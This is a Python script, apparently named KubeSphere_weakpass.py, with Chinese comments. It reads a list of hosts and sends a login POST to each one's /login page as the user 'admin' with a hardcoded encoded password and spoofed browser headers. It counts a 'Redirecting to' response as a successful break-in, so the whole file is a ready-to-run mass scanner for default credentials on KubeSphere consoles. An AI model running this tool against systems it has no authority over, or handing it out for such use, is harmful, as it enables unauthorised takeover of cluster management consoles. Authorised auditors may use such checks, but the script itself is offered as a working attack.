import requests
import json
import time
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse

def normalize_host(host_str):
    """标准化HOST格式，返回(host_header, request_url)"""
    host_str = host_str.strip()
    
    if host_str.startswith(('http://', 'https://')):
        parsed = urlparse(host_str)
        scheme = parsed.scheme
        netloc = parsed.netloc
        path = parsed.path
        
        request_url = f"{scheme}://{netloc}/login" if not path else f"{scheme}://{netloc}{path}"
        host_header = netloc
        return host_header, request_url
    else:
        host_port = host_str.split('/')[0]
        host_header = host_port
        request_url = f"http://{host_port}/login"
        return host_header, request_url

def test_login(host_str, timeout=2):
    try:
        host_header, url = normalize_host(host_str)
        
        headers = {
            "Host": host_header,
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0",
            "Accept": "*/*",
            "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
            "Accept-Encoding": "gzip, deflate, br",
            "Referer": f"http://{host_header}/login",
            "content-type": "application/json",
            "Connection": "keep-alive",
            "Cookie": "lang=zh; oAuthLoginInfo=",
            "Priority": "u=1"
        }
        
        data = {
            "username": "admin",
            "encrypt": "MDAxMTAwMTAxMDAw@`]QLa\\enjiSA"
        }
        
        start_time = time.time()
        response = requests.post(
            url,
            headers=headers,
            data=json.dumps(data),
            timeout=timeout,
            allow_redirects=False
        )
        elapsed = (time.time() - start_time) * 1000
        
        # 检查响应内容是否包含"Redirecting to"
        if "Redirecting to" in response.text:
            return (host_str, "成功", response.status_code, f"{elapsed:.2f}ms")
        else:
            return (host_str, "失败", response.status_code, f"{elapsed:.2f}ms")
            
    except requests.exceptions.RequestException:
        return (host_str, "失败", "超时", "N/A")
    except Exception as e:
        return (host_str, "错误", str(e), "N/A")

def main():
    if len(sys.argv) < 2:
        print("使用方法: python KubeSphere_weakpass.py <hosts_file.txt>")
        return
    
    host_file = sys.argv[1]
    
    try:
        with open(host_file, 'r', encoding='utf-8') as f:
            hosts = [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        print(f"错误: 文件 {host_file} 不存在")
        return
    
    print("\n测试结果:")
    print("-" * 90)
    print(f"{'原始HOST':<50}{'结果':<10}{'状态码':<10}{'响应时间':<10}")
    print("-" * 90)
    
    with ThreadPoolExecutor(max_workers=1) as executor:
        futures = [executor.submit(test_login, host) for host in hosts]
        
        for future in as_completed(futures):
            host, result, status, elapsed = future.result()
            print(f"{host:<50}{result:<10}{str(status):<10}{elapsed:<10}")
            time.sleep(2)

if __name__ == "__main__":
    main()